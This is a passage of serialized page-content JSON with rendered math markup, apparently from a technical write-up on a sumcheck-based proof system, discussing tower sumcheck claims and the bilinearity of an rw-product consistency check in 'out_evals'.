",{"type":23,"tag":64,"props":116589,"children":116591},{"className":116590},[],[116592],{"type":28,"value":116593},"out_evals",{"type":28,"value":21456},{"type":23,"tag":24,"props":116596,"children":116597},{},[116598,116600],{"type":28,"value":116599},"The tower sumcheck claim is ",{"type":23,"tag":64,"props":116601,"children":116603},{"className":116602},[1527,1528],[116604],{"type":23,"tag":481,"props":116605,"children":116607},{"className":116606},[1533],[116608],{"type":23,"tag":481,"props":116609,"children":116611},{"className":116610,"ariaHidden":1539},[1538],[116612,116643,116768],{"type":23,"tag":481,"props":116613,"children":116615},{"className":116614},[1544],[116616,116620,116630,116634,116639],{"type":23,"tag":481,"props":116617,"children":116619},{"className":116618,"style":90494},[1549],[],{"type":23,"tag":481,"props":116621,"children":116623},{"className":116622},[1555,28],[116624],{"type":23,"tag":481,"props":116625,"children":116627},{"className":116626},[1555],[116628],{"type":28,"value":116629},"claim",{"type":23,"tag":481,"props":116631,"children":116633},{"className":116632,"style":1734},[1636],[],{"type":23,"tag":481,"props":116635,"children":116637},{"className":116636},[1739],[116638],{"type":28,"value":603},{"type":23,"tag":481,"props":116640,"children":116642},{"className":116641,"style":1734},[1636],[],{"type":23,"tag":481,"props":116644,"children":116646},{"className":116645},[1544],[116647,116652,116709,116713,116755,116759,116764],{"type":23,"tag":481,"props":116648,"children":116651},{"className":116649,"style":116650},[1549],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":481,"props":116653,"children":116655},{"className":116654},[19122],[116656,116661],{"type":23,"tag":481,"props":116657,"children":116659},{"className":116658,"style":19129},[19122,19127,19128],[116660],{"type":28,"value":106374},{"type":23,"tag":481,"props":116662,"children":116664},{"className":116663},[1572],[116665],{"type":23,"tag":481,"props":116666,"children":116668},{"className":116667},[1577,19140],[116669,116698],{"type":23,"tag":481,"props":116670,"children":116672},{"className":116671},[1582],[116673,116693],{"type":23,"tag":481,"props":116674,"children":116676},{"className":116675,"style":111786},[1587],[116677],{"type":23,"tag":481,"props":116678,"children":116679},{"style":19153},[116680,116684],{"type":23,"tag":481,"props":116681,"children":116683},{"className":116682,"style":1597},[1596],[],{"type":23,"tag":481,"props":116685,"children":116687},{"className":116686},[1602,1603,1604,1605],[116688],{"type":23,"tag":481,"props":116689,"children":116691},{"className":116690,"style":111802},[1555,19086,1605],[116692],{"type":28,"value":6136},{"type":23,"tag":481,"props":116694,"children":116696},{"className":116695},[19243],[116697],{"type":28,"value":19246},{"type":23,"tag":481,"props":116699,"children":116701},{"className":116700},[1582],[116702],{"type":23,"tag":481,"props":116703,"children":116705},{"className":116704,"style":111817},[1587],[116706],{"type":23,"tag":481,"props":116707,"children":116708},{},[],{"type":23,"tag":481,"props":116710,"children":116712},{"className":116711,"style":1675},[1636],[],{"type":23,"tag":481,"props":116714,"children":116716},{"className":116715},[1555],[116717,116722],{"type":23,"tag":481,"props":116718,"children":116720},{"className":116719,"style":112667},[1555,19086],[116721],{"type":28,"value":112670},{"type":23,"tag":481,"props":116723,"children":116725},{"className":116724},[1572],[116726],{"type":23,"tag":481,"props":116727,"children":116729},{"className":116728},[1577],[116730],{"type":23,"tag":481,"props":116731,"children":116733},{"className":116732},[1582],[116734],{"type":23,"tag":481,"props":116735,"children":116738},{"className":116736,"style":116737},[1587],"height:0.8247em;",[116739],{"type":23,"tag":481,"props":116740,"children":116741},{"style":1591},[116742,116746],{"type":23,"tag":481,"props":116743,"children":116745},{"className":116744,"style":1597},[1596],[],{"type":23,"tag":481,"props":116747,"children":116749},{"className":116748},[1602,1603,1604,1605],[116750],{"type":23,"tag":481,"props":116751,"children":116753},{"className":116752,"style":111802},[1555,19086,1605],[116754],{"type":28,"value":6136},{"type":23,"tag":481,"props":116756,"children":116758},{"className":116757,"style":1637},[1636],[],{"type":23,"tag":481,"props":116760,"children":116762},{"className":116761},[1642],[116763],{"type":28,"value":108841},{"type":23,"tag":481,"props":116765,"children":116767},{"className":116766,"style":1637},[1636],[],{"type":23,"tag":481,"props":116769,"children":116771},{"className":116770},[1544],[116772,116776,116785,116790],{"type":23,"tag":481,"props":116773,"children":116775},{"className":116774,"style":91992},[1549],[],{"type":23,"tag":481,"props":116777,"children":116779},{"className":116778},[1555,28],[116780],{"type":23,"tag":481,"props":116781,"children":116783},{"className":116782},[1555],[116784],{"type":28,"value":116253},{"type":23,"tag":481,"props":116786,"children":116788},{"className":116787,"style":90579},[1555],[116789],{"type":28,"value":593},{"type":23,"tag":481,"props":116791,"children":116793},{"className":116792},[1555],[116794,116803],{"type":23,"tag":481,"props":116795,"children":116797},{"className":116796},[1555,28],[116798],{"type":23,"tag":481,"props":116799,"children":116801},{"className":116800},[1555],[116802],{"type":28,"value":116272},{"type":23,"tag":481,"props":116804,"children":116806},{"className":116805},[1572],[116807],{"type":23,"tag":481,"props":116808,"children":116810},{"className":116809},[1577,19140],[116811,116840],{"type":23,"tag":481,"props":116812,"children":116814},{"className":116813},[1582],[116815,116835],{"type":23,"tag":481,"props":116816,"children":116818},{"className":116817,"style":91108},[1587],[116819],{"type":23,"tag":481,"props":116820,"children":116821},{"style":111709},[116822,116826],{"type":23,"tag":481,"props":116823,"children":116825},{"className":116824,"style":1597},[1596],[],{"type":23,"tag":481,"props":116827,"children":116829},{"className":116828},[1602,1603,1604,1605],[116830],{"type":23,"tag":481,"props":116831,"children":116833},{"className":116832,"style":111802},[1555,19086,1605],[116834],{"type":28,"value":6136},{"type":23,"tag":481,"props":116836,"children":116838},{"className":116837},[19243],[116839],{"type":28,"value":19246},{"type":23,"tag":481,"props":116841,"children":116843},{"className":116842},[1582],[116844],{"type":23,"tag":481,"props":116845,"children":116847},{"className":116846,"style":116489},[1587],[116848],{"type":23,"tag":481,"props":116849,"children":116850},{},[],{"type":23,"tag":24,"props":116852,"children":116853},{},[116854,116856,116861],{"type":28,"value":116855},"This check is linear in ",{"type":23,"tag":64,"props":116857,"children":116859},{"className":116858},[],[116860],{"type":28,"value":116593},{"type":28,"value":199},{"type":23,"tag":73,"props":116863,"children":116864},{"start":351},[116865],{"type":23,"tag":77,"props":116866,"children":116867},{},[116868,116873,116875,116880],{"type":23,"tag":2875,"props":116869,"children":116870},{},[116871],{"type":28,"value":116872},"rw-product consistency",{"type":28,"value":116874}," (bilinear in ",{"type":23,"tag":64,"props":116876,"children":116878},{"className":116877},[],[116879],{"type":28,"value":116593},{"type":28,"value":21456},{"type":23,"tag":24,"props":116882,"children":116883},{},[116884],{"type":23,"tag":64,"props":116885,"children":116887},{"className":116886},[1527,1528],[116888],{"type":23,"tag":481,"props":116889,"children":116891},{"className":116890},[1533],[116892],{"type":23,"tag":481,"props":116893,"children":116895},{"className":116894,"ariaHidden":1539},[1538],[116896,117067,117238],{"type":23,"tag":481,"props":116897,"children":116899},{"className":116898},[1544],[116900,116904,116961,116965,116974,116979,116988,116993,117054,117058,117063],{"type":23,"tag":481,"props":116901,"children":116903},{"className":116902,"style":90521},[1549],[],{"type":23,"tag":481,"props":116905,"children":116907},{"className":116906},[19122],[116908,116913],{"type":23,"tag":481,"props":116909,"children":116911},{"className":116910,"style":19129},[19122,19127,19128],[116912],{"type":28,"value":116177},{"type":23,"tag":481,"props":116914,"children":116916},{"className":116915},[1572],[116917],{"type":23,"tag":481,"props":116918,"children":116920},{"className":116919},[1577,19140],[116921,116950],{"type":23,"tag":481,"props":116922,"children":116924},{"className":116923},[1582],[116925,116945],{"type":23,"tag":481,"props":116926,"children":116928},{"className":116927,"style":111786},[1587],[116929],{"type":23,"tag":481,"props":116930,"children":116931},{"style":19153},[116932,116936],{"type":23,"tag":481,"props":116933,"children":116935},{"className":116934,"style":1597},[1596],[],{"type":23,"tag":481,"props":116937,"children":116939},{"className":116938},[1602,1603,1604,1605],[116940],{"type":23,"tag":481,"props":116941,"children":116943},{"className":116942},[1555,19086,1605],[116944],{"type":28,"value":1274},{"type":23,"tag":481,"props":116946,"children":116948},{"className":116947},[19243],[116949],{"type":28,"value":19246},{"type":23,"tag":481,"props":116951,"children":116953},{"className":116952},[1582],[116954],{"type":23,"tag":481,"props":116955,"children":116957},{"className":116956,"style":112066},[1587],[116958],{"type":23,"tag":481,"props":116959,"children":116960},{},[],{"type":23,"tag":481,"props":116962,"children":116964},{"className":116963,"style":1675},[1636],[],{"type":23,"tag":481,"props":116966,"children":116968},{"className":116967},[1555,28],[116969],{"type":23,"tag":481,"props":116970,"children":116972},{"className":116971},[1555],[116973],{"type":28,"value":91398},{"type":23,"tag":481,"props":116975,"children":116977},{"className":116976,"style":90579},[1555],[116978],{"type":28,"value":593},{"type":23,"tag":481,"props":116980,"children":116982},{"className":116981},[1555,28],[116983],{"type":23,"tag":481,"props":116984,"children":116986},{"className":116985},[1555],[116987],{"type":28,"value":116253},{"type":23,"tag":481,"props":116989,"children":116991},{"className":116990,"style":90579},[1555],[116992],{"type":28,"value":593},{"type":23,"tag":481,"props":116994,"children":116996},{"className":116995},[1555],[116997,117006],{"type":23,"tag":481,"props":116998,"children":117000},{"className":116999},[1555,28],[117001],{"type":23,"tag":481,"props":117002,"children":117004},{"className":117003},[1555],[117005],{"type":28,"value":116272},{"type":23,"tag":481,"props":117007,"children":117009},{"className":117008},[1572],[117010],{"type":23,"tag":481,"props":117011,"children":117013},{"className":117012},[1577,19140],[117014,117043],{"type":23,"tag":481,"props":117015,"children":117017},{"className":117016},[1582],[117018,117038],{"type":23,"tag":481,"props":117019,"children":117021},{"className":117020,"style":91108},[1587],[117022],{"type":23,"tag":481,"props":117023,"children":117024},{"style":111709},[117025,117029],{"type":23,"tag":481,"props":117026,"children":117028},{"className":117027,"style":1597},[1596],[],{"type":23,"tag":481,"props":117030,"children":117032},{"className":117031},[1602,1603,1604,1605],[117033],{"type":23,"tag":481,"props":117034,"children":117036},{"className":117035},[1555,19086,1605],[117037],{"type":28,"value":1274},{"type":23,"tag":481,"props":117039,"children":117041},{"className":117040},[19243],[117042],{"type":28,"value":19246},{"type":23,"tag":481,"props":117044,"children":117046},{"className":117045},[1582],[117047],{"type":23,"tag":481,"props":117048,"children":117050},{"className":117049,"style":90662},[1587],[117051],{"type":23,"tag":481,"props":117052,"children":117053},{},[],{"type":23,"tag":481,"props":117055,"children":117057},{"className":117056,"style":1734},[1636],[],{"type":23,"tag":481,"props":117059,"children":117061},{"className":117060},[1739],[117062],{"type":28,"value":603},{"type":23,"tag":481,"props":117064,"children":117066},{"className":117065,"style":1734},[1636],[],{"type":23,"tag":481,"props":117068,"children":117070},{"className":117069},[1544],[117071,117075,117132,117136,117145,117150,117159,117164,117225,117229,117234],{"type":23,"tag":481,"props":117072,"children":117074},{"className":117073,"style":116341},[1549],[],{"type":23,"tag":481,"props":117076,"children":117078},{"className":117077},[19122],[117079,117084],{"type":23,"tag":481,"props":117080,"children":117082},{"className":117081,"style":19129},[19122,19127,19128],[117083],{"type":28,"value":116177},{"type":23,"tag":481,"props":117085,"children":117087},{"className":117086},[1572],[117088],{"type":23,"tag":481,"props":117089,"children":117091},{"className":117090},[1577,19140],[117092,117121],{"type":23,"tag":481,"props":117093,"children":117095},{"className":117094},[1582],[117096,117116],{"type":23,"tag":481,"props":117097,"children":117099},{"className":117098,"style":111786},[1587],[117100],{"type":23,"tag":481,"props":117101,"children":117102},{"style":19153},[117103,117107],{"type":23,"tag":481,"props":117104,"children":117106},{"className":117105,"style":1597},[1596],[],{"type":23,"tag":481,"props":117108,"children":117110},{"className":117109},[1602,1603,1604,1605],[117111],{"type":23,"tag":481,"props":117112,"children":117114},{"className":117113,"style":111802},[1555,19086,1605],[117115],{"type":28,"value":6136},{"type":23,"tag":481,"props":117117,"children":117119},{"className":117118},[19243],[117120],{"type":28,"value":19246},{"type":23,"tag":481,"props":117122,"children":117124},{"className":117123},[1582],[117125],{"type":23,"tag":481,"props":117126,"children":117128},{"className":117127,"style":111817},[1587],[117129],{"type":23,"tag":481,"props":117130,"children":117131},{},[],{"type":23,"tag":481,"props":117133,"children":117135},{"className":117134,"style":1675},[1636],[],{"type":23,"tag":481,"props":117137,"children":117139},{"className":117138},[1555,28],[117140],{"type":23,"tag":481,"props":117141,"children":117143},{"className":117142},[1555],[117144],{"type":28,"value":47097},{"type":23,"tag":481,"props":117146,"children":117148},{"className":117147,"style":90579},[1555],[117149],{"type":28,"value":593},{"type":23,"tag":481,"props":117151,"children":117153},{"className":117152},[1555,28],[117154],{"type":23,"tag":481,"props":117155,"children":117157},{"className":117156},[1555],[117158],{"type":28,"value":116253},{"type":23,"tag":481,"props":117160,"children":117162},{"className":117161,"style":90579},[1555],[117163],{"type":28,"value":593},{"type":23,"tag":481,"props":117165,"children":117167},{"className":117166},[1555],[117168,117177],{"type":23,"tag":481,"props":117169,"children":117171},{"className":117170},[1555,28],[117172],{"type":23,"tag":481,"props":117173,"children":117175},{"className":117174},[1555],[117176],{"type":28,"value":116272},{"type":23,"tag":481,"props":117178,"children":117180},{"className":117179},[1572],[117181],{"type":23,"tag":481,"props":117182,"children":117184},{"className":117183},[1577,19140],[117185,117214],{"type":23,"tag":481,"props":117186,"children":117188},{"className":117187},[1582],[117189,117209],{"type":23,"tag":481,"props":117190,"children":117192},{"className":117191,"style":91108},[1587],[117193],{"type":23,"tag":481,"props":117194,"children":117195},{"style":111709},[117196,117200],{"type":23,"tag":481,"props":117197,"children":117199},{"className":117198,"style":1597},[1596],[],{"type":23,"tag":481,"props":117201,"children":117203},{"className":117202},[1602,1603,1604,1605],[117204],{"type":23,"tag":481,"props":117205,"children":117207},{"className":117206,"style":111802},[1555,19086,1605],[117208],{"type":28,"value":6136},{"type":23,"tag":481,"props":117210,"children":117212},{"className":117211},[19243],[117213],{"type":28,"value":19246},{"type":23,"tag":481,"props":117215,"children":117217},{"className":117216},[1582],[117218],{"type":23,"tag":481,"props":117219,"children":117221},{"className":117220,"style":116489},[1587],[117222],{"type":23,"tag":481,"props":117223,"children":117224},{},[],{"type":23,"tag":481,"props":117226,"children":117228},{"className":117227,"style":1637},[1636],[],{"type":23,"tag":481,"props":117230,"children":117232},{"className":117231},[1642],[117233],{"type":28,"value":108841},{"type":23,"tag":481,"props":117235,"children":117237},{"className":117236,"style":1637},[1636],[],{"type":23,"tag":481,"props":117239,"children":117241},{"className":117240},[1544],[117242,117246,117251,117260],{"type":23,"tag":481,"props":117243,"children":117245},{"className":117244,"style":1657},[1549],[],{"type":23,"tag":481,"props":117247,"children":117249},{"className":117248},[19215],[117250],{"type":28,"value":618},{"type":23,"tag":481,"props":117252,"children":117254},{"className":117253},[1555,28],[117255],{"type":23,"tag":481,"props":117256,"children":117258},{"className":117257},[1555],[117259],{"type":28,"value":116529},{"type":23,"tag":481,"props":117261,"children":117263},{"className":117262},[19237],[117264],{"type":28,"value":642},{"type":23,"tag":24,"props":117266,"children":117267},{},[117268,117270,117439,117440,117609],{"type":28,"value":117269},"If we vary ",{"type":23,"tag":64,"props":117271,"children":117273},{"className":117272},[1527,1528],[117274],{"type":23,"tag":481,"props":117275,"children":117277},{"className":117276},[1533],[117278],{"type":23,"tag":481,"props":117279,"children":117281},{"className":117280,"ariaHidden":1539},[1538],[117282,117360],{"type":23,"tag":481,"props":117283,"children":117285},{"className":117284},[1544],[117286,117290,117347,117351,117356],{"type":23,"tag":481,"props":117287,"children":117289},{"className":117288,"style":107549},[1549],[],{"type":23,"tag":481,"props":117291,"children":117293},{"className":117292},[1555],[117294,117299],{"type":23,"tag":481,"props":117295,"children":117297},{"className":117296},[1555,19086],[117298],{"type":28,"value":16772},{"type":23,"tag":481,"props":117300,"children":117302},{"className":117301},[1572],[117303],{"type":23,"tag":481,"props":117304,"children":117306},{"className":117305},[1577,19140],[117307,117336],{"type":23,"tag":481,"props":117308,"children":117310},{"className":117309},[1582],[117311,117331],{"type":23,"tag":481,"props":117312,"children":117314},{"className":117313,"style":90631},[1587],[117315],{"type":23,"tag":481,"props":117316,"children":117317},{"style":90635},[117318,117322],{"type":23,"tag":481,"props":117319,"children":117321},{"className":117320,"style":1597},[1596],[],{"type":23,"tag":481,"props":117323,"children":117325},{"className":117324},[1602,1603,1604,1605],[117326],{"type":23,"tag":481,"props":117327,"children":117329},{"className":117328},[1555,1605],[117330],{"type":28,"value":1568},{"type":23,"tag":481,"props":117332,"children":117334},{"className":117333},[19243],[117335],{"type":28,"value":19246},{"type":23,"tag":481,"props":117337,"children":117339},{"className":117338},[1582],[117340],{"type":23,"tag":481,"props":117341,"children":117343},{"className":117342,"style":90662},[1587],[117344],{"type":23,"tag":481,"props":117345,"children":117346},{},[],{"type":23,"tag":481,"props":117348,"children":117350},{"className":117349,"style":1734},[1636],[],{"type":23,"tag":481,"props":117352,"children":117354},{"className":117353},[1739],[117355],{"type":28,"value":603},{"type":23,"tag":481,"props":117357,"children":117359},{"className":117358,"style":1734},[1636],[],{"type":23,"tag":481,"props":117361,"children":117363},{"className":117362},[1544],[117364,117368,117409,117414,117419,117424,117429,117434],{"type":23,"tag":481,"props":117365,"children":117367},{"className":117366,"style":90521},[1549],[],{"type":23,"tag":481,"props":117369,"children":117371},{"className":117370},[1555],[117372,117381,117386,117395,117400],{"type":23,"tag":481,"props":117373,"children":117375},{"className":117374},[1555,28],[117376],{"type":23,"tag":481,"props":117377,"children":117379},{"className":117378},[1555],[117380],{"type":28,"value":91398},{"type":23,"tag":481,"props":117382,"children":117384},{"className":117383,"style":90579},[1555],[117385],{"type":28,"value":593},{"type":23,"tag":481,"props":117387,"children":117389},{"className":117388},[1555,28],[117390],{"type":23,"tag":481,"props":117391,"children":117393},{"className":117392},[1555],[117394],{"type":28,"value":116253},{"type":23,"tag":481,"props":117396,"children":117398},{"className":117397,"style":90579},[1555],[117399],{"type":28,"value":593},{"type":23,"tag":481,"props":117401,"children":117403},{"className":117402},[1555,28],[117404],{"type":23,"tag":481,"props":117405,"children":117407},{"className":117406},[1555],[117408],{"type":28,"value":116272},{"type":23,"tag":481,"props":117410,"children":117412},{"className":117411},[19215],[117413],{"type":28,"value":1269},{"type":23,"tag":481,"props":117415,"children":117417},{"className":117416},[1555],[117418],{"type":28,"value":1568},{"type":23,"tag":481,"props":117420,"children":117422},{"className":117421},[19237],[117423],{"type":28,"value":12900},{"type":23,"tag":481,"props":117425,"children":117427},{"className":117426},[19215],[117428],{"type":28,"value":1269},{"type":23,"tag":481,"props":117430,"children":117432},{"className":117431},[1555],[117433],{"type":28,"value":1568},{"type":23,"tag":481,"props":117435,"children":117437},{"className":117436},[19237],[117438],{"type":28,"value":12900},{"type":28,"value":8478},{"type":23,"tag":64,"props":117441,"children":117443},{"className":117442},[1527,1528],[117444],{"type":23,"tag":481,"props":117445,"children":117447},{"className":117446},[1533],[117448],{"type":23,"tag":481,"props":117449,"children":117451},{"className":117450,"ariaHidden":1539},[1538],[117452,117530],{"type":23,"tag":481,"props":117453,"children":117455},{"className":117454},[1544],[117456,117460,117517,117521,117526],{"type":23,"tag":481,"props":117457,"children":117459},{"className":117458,"style":107549},[1549],[],{"type":23,"tag":481,"props":117461,"children":117463},{"className":117462},[1555],[117464,117469],{"type":23,"tag":481,"props":117465,"children":117467},{"className":117466},[1555,19086],[117468],{"type":28,"value":16772},{"type":23,"tag":481,"props":117470,"children":117472},{"className":117471},[1572],[117473],{"type":23,"tag":481,"props":117474,"children":117476},{"className":117475},[1577,19140],[117477,117506],{"type":23,"tag":481,"props":117478,"children":117480},{"className":117479},[1582],[117481,117501],{"type":23,"tag":481,"props":117482,"children":117484},{"className":117483,"style":90631},[1587],[117485],{"type":23,"tag":481,"props":117486,"children":117487},{"style":90635},[117488,117492],{"type":23,"tag":481,"props":117489,"children":117491},{"className":117490,"style":1597},[1596],[],{"type":23,"tag":481,"props":117493,"children":117495},{"className":117494},[1602,1603,1604,1605],[117496],{"type":23,"tag":481,"props":117497,"children":117499},{"className":117498},[1555,1605],[117500],{"type":28,"value":1558},{"type":23,"tag":481,"props":117502,"children":117504},{"className":117503},[19243],[117505],{"type":28,"value":19246},{"type":23,"tag":481,"props":117507,"children":117509},{"className":117508},[1582],[117510],{"type":23,"tag":481,"props":117511,"children":117513},{"className":117512,"style":90662},[1587],[117514],{"type":23,"tag":481,"props":117515,"children":117516},{},[],{"type":23,"tag":481,"props":117518,"children":117520},{"className":117519,"style":1734},[1636],[],{"type":23,"tag":481,"props":117522,"children":117524},{"className":117523},[1739],[117525],{"type":28,"value":603},{"type":23,"tag":481,"props":117527,"children":117529},{"className":117528,"style":1734},[1636],[],{"type":23,"tag":481,"props":117531,"children":117533},{"className":117532},[1544],[117534,117538,117579,117584,117589,117594,117599,117604],{"type":23,"tag":481,"props":117535,"children":117537},{"className":117536,"style":90521},[1549],[],{"type":23,"tag":481,"props":117539,"children":117541},{"className":117540},[1555],[117542,117551,117556,117565,117570],{"type":23,"tag":481,"props":117543,"children":117545},{"className":117544},[1555,28],[117546],{"type":23,"tag":481,"props":117547,"children":117549},{"className":117548},[1555],[117550],{"type":28,"value":91398},{"type":23,"tag":481,"props":117552,"children":117554},{"className":117553,"style":90579},[1555],[117555],{"type":28,"value":593},{"type":23,"tag":481,"props":117557,"children":117559},{"className":117558},[1555,28],[117560],{"type":23,"tag":481,"props":117561,"children":117563},{"className":117562},[1555],[117564],{"type":28,"value":116253},{"type":23,"tag":481,"props":117566,"children":117568},{"className":117567,"style":90579},[1555],[117569],{"type":28,"value":593},{"type":23,"tag":481,"props":117571,"children":117573},{"className":117572},[1555,28],[117574],{"type":23,"tag":481,"props":117575,"children":117577},{"className":117576},[1555],[117578],{"type":28,"value":116272},{"type":23,"tag":481,"props":117580,"children":117582},{"className":117581},[19215],[117583],{"type":28,"value":1269},{"type":23,"tag":481,"props":117585,"children":117587},{"className":117586},[1555],[117588],{"type":28,"value":1568},{"type":23,"tag":481,"props":117590,"children":117592},{"className":117591},[19237],[117593],{"type":28,"value":12900},{"type":23,"tag":481,"props":117595,"children":117597},{"className":117596},[19215],[117598],{"type":28,"value":1269},{"type":23,"tag":481,"props":117600,"children":117602},{"className":117601},[1555],[117603],{"type":28,"value":1558},{"type":23,"tag":481,"props":117605,"children":117607},{"className":117606},[19237],[117608],{"type":28,"value":12900},{"type":28,"value":117610}," we get the following constraint:",{"type":23,"tag":24,"props":117612,"children":117613},{},[117614],{"type":23,"tag":64,"props":117615,"children":117617},{"className":117616},[1527,1528],[117618],{"type":23,"tag":481,"props":117619,"children":117621},{"className":117620},[1533],[117622],{"type":23,"tag":481,"props":117623,"children":117625},{"className":117624,"ariaHidden":1539},[1538],[117626,117705,117783,117824],{"type":23,"tag":481,"props":117627,"children":117629},{"className":117628},[1544],[117630,117635,117692,117696,117701],{"type":23,"tag":481,"props":117631,"children":117634},{"className":117632,"style":117633},[1549],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":481,"props":117636,"children":117638},{"className":117637},[1555],[117639,117644],{"type":23,"tag":481,"props":117640,"children":117642},{"className":117641},[1555,19086],[117643],{"type":28,"value":16772},{"type":23,"tag":481,"props":117645,"children":117647},{"className":117646},[1572],[117648],{"type":23,"tag":481,"props":117649,"children":117651},{"className":117650},[1577,19140],[117652,117681],{"type":23,"tag":481,"props":117653,"children":117655},{"className":117654},[1582],[117656,117676],{"type":23,"tag":481,"props":117657,"children":117659},{"className":117658,"style":90631},[1587],[117660],{"type":23,"tag":481,"props":117661,"children":117662},{"style":90635},[117663,117667],{"type":23,"tag":481,"props":117664,"children":117666},{"className":117665,"style":1597},[1596],[],{"type":23,"tag":481,"props":117668,"children":117670},{"className":117669},[1602,1603,1604,1605],[117671],{"type":23,"tag":481,"props":117672,"children":117674},{"className":117673},[1555,1605],[117675],{"type":28,"value":1568},{"type":23,"tag":481,"props":117677,"children":117679},{"className":117678},[19243],[117680],{"type":28,"value":19246},{"type":23,"tag":481,"props":117682,"children":117684},{"className":117683},[1582],[117685],{"type":23,"tag":481,"props":117686,"children":117688},{"className":117687,"style":90662},[1587],[117689],{"type":23,"tag":481,"props":117690,"children":117691},{},[],{"type":23,"tag":481,"props":117693,"children":117695},{"className":117694,"style":1637},[1636],[],{"type":23,"tag":481,"props":117697,"children":117699},{"className":117698},[1642],[117700],{"type":28,"value":108841},{"type":23,"tag":481,"props":117702,"children":117704},{"className":117703,"style":1637},[1636],[],{"type":23,"tag":481,"props":117706,"children":117708},{"className":117707},[1544],[117709,117713,117770,117774,117779],{"type":23,"tag":481,"props":117710,"children":117712},{"className":117711,"style":117633},[1549],[],{"type":23,"tag":481,"props":117714,"children":117716},{"className":117715},[1555],[117717,117722],{"type":23,"tag":481,"props":117718,"children":117720},{"className":117719},[1555,19086],[117721],{"type":28,"value":16772},{"type":23,"tag":481,"props":117723,"children":117725},{"className":117724},[1572],[117726],{"type":23,"tag":481,"props":117727,"children":117729},{"className":117728},[1577,19140],[117730,117759],{"type":23,"tag":481,"props":117731,"children":117733},{"className":117732},[1582],[117734,117754],{"type":23,"tag":481,"props":117735,"children":117737},{"className":117736,"style":90631},[1587],[117738],{"type":23,"tag":481,"props":117739,"children":117740},{"style":90635},[117741,117745],{"type":23,"tag":481,"props":117742,"children":117744},{"className":117743,"style":1597},[1596],[],{"type":23,"tag":481,"props":117746,"children":117748},{"className":117747},[1602,1603,1604,1605],[117749],{"type":23,"tag":481,"props":117750,"children":117752},{"className":117751},[1555,1605],[117753],{"type":28,"value":1558},{"type":23,"tag":481,"props":117755,"children":117757},{"className":117756},[19243],[117758],{"type":28,"value":19246},{"type":23,"tag":481,"props":117760,"children":117762},{"className":117761},[1582],[117763],{"type":23,"tag":481,"props":117764,"children":117766},{"className":117765,"style":90662},[1587],[117767],{"type":23,"tag":481,"props":117768,"children":117769},{},[],{"type":23,"tag":481,"props":117771,"children":117773},{"className":117772,"style":1637},[1636],[],{"type":23,"tag":481,"props":117775,"children":117777},{"className":117776},[1642],[117778],{"type":28,"value":108841},{"type":23,"tag":481,"props":117780,"children":117782},{"className":117781,"style":1637},[1636],[],{"type":23,"tag":481,"props":117784,"children":117786},{"className":117785},[1544],[117787,117791,117796,117806,117811,117815,117820],{"type":23,"tag":481,"props":117788,"children":117790},{"className":117789,"style":1657},[1549],[],{"type":23,"tag":481,"props":117792,"children":117794},{"className":117793},[19215],[117795],{"type":28,"value":618},{"type":23,"tag":481,"props":117797,"children":117799},{"className":117798},[1555,28],[117800],{"type":23,"tag":481,"props":117801,"children":117803},{"className":117802},[1555],[117804],{"type":28,"value":117805},"rest of product",{"type":23,"tag":481,"props":117807,"children":117809},{"className":117808},[19237],[117810],{"type":28,"value":642},{"type":23,"tag":481,"props":117812,"children":117814},{"className":117813,"style":1734},[1636],[],{"type":23,"tag":481,"props":117816,"children":117818},{"className":117817},[1739],[117819],{"type":28,"value":603},{"type":23,"tag":481,"props":117821,"children":117823},{"className":117822,"style":1734},[1636],[],{"type":23,"tag":481,"props":117825,"children":117827},{"className":117826},[1544],[117828,117832],{"type":23,"tag":481,"props":117829,"children":117831},{"className":117830,"style":112599},[1549],[],{"type":23,"tag":481,"props":117833,"children":117835},{"className":117834},[1555,28],[117836],{"type":23,"tag":481,"props":117837,"children":117839},{"className":117838},[1555],[117840],{"type":28,"value":112610},{"type":23,"tag":24,"props":117842,"children":117843},{},[117844,117846,117999],{"type":28,"value":117845},"This is bilinear in ",{"type":23,"tag":64,"props":117847,"children":117849},{"className":117848},[1527,1528],[117850],{"type":23,"tag":481,"props":117851,"children":117853},{"className":117852},[1533],[117854],{"type":23,"tag":481,"props":117855,"children":117857},{"className":117856,"ariaHidden":1539},[1538],[117858],{"type":23,"tag":481,"props":117859,"children":117861},{"className":117860},[1544],[117862,117866,117871,117928,117933,117937,117994],{"type":23,"tag":481,"props":117863,"children":117865},{"className":117864,"style":1657},[1549],[],{"type":23,"tag":481,"props":117867,"children":117869},{"className":117868},[19215],[117870],{"type":28,"value":618},{"type":23,"tag":481,"props":117872,"children":117874},{"className":117873},[1555],[117875,117880],{"type":23,"tag":481,"props":117876,"children":117878},{"className":117877},[1555,19086],[117879],{"type":28,"value":16772},{"type":23,"tag":481,"props":117881,"children":117883},{"className":117882},[1572],[117884],{"type":23,"tag":481,"props":117885,"children":117887},{"className":117886},[1577,19140],[117888,117917],{"type":23,"tag":481,"props":117889,"children":117891},{"className":117890},[1582],[117892,117912],{"type":23,"tag":481,"props":117893,"children":117895},{"className":117894,"style":90631},[1587],[117896],{"type":23,"tag":481,"props":117897,"children":117898},{"style":90635},[117899,117903],{"type":23,"tag":481,"props":117900,"children":117902},{"className":117901,"style":1597},[1596],[],{"type":23,"tag":481,"props":117904,"children":117906},{"className":117905},[1602,1603,1604,1605],[117907],{"type":23,"tag":481,"props":117908,"children":117910},{"className":117909},[1555,1605],[117911],{"type":28,"value":1568},{"type":23,"tag":481,"props":117913,"children":117915},{"className":117914},[19243],[117916],{"type":28,"value":19246},{"type":23,"tag":481,"props":117918,"children":117920},{"className":117919},[1582],[117921],{"type":23,"tag":481,"props":117922,"children":117924},{"className":117923,"style":90662},[1587],[117925],{"type":23,"tag":481,"props":117926,"children":117927},{},[],{"type":23,"tag":481,"props":117929,"children":117931},{"className":117930},[1668],[117932],{"type":28,"value":1671},{"type":23,"tag":481,"props":117934,"children":117936},{"className":117935,"style":1675},[1636],[],{"type":23,"tag":481,"props":117938,"children":117940},{"className":117939},[1555],[117941,117946],{"type":23,"tag":481,"props":117942,"children":117944},{"className":117943},[1555,19086],[117945],{"type":28,"value":16772},{"type":23,"tag":481,"props":117947,"children":117949},{"className":117948},[1572],[117950],{"type":23,"tag":481,"props":117951,"children":117953},{"className":117952},[1577,19140],[117954,117983],{"type":23,"tag":481,"props":117955,"children":117957},{"className":117956},[1582],[117958,117978],{"type":23,"tag":481,"props":117959,"children":117961},{"className":117960,"style":90631},[1587],[117962],{"type":23,"tag":481,"props":117963,"children":117964},{"style":90635},[117965,117969],{"type":2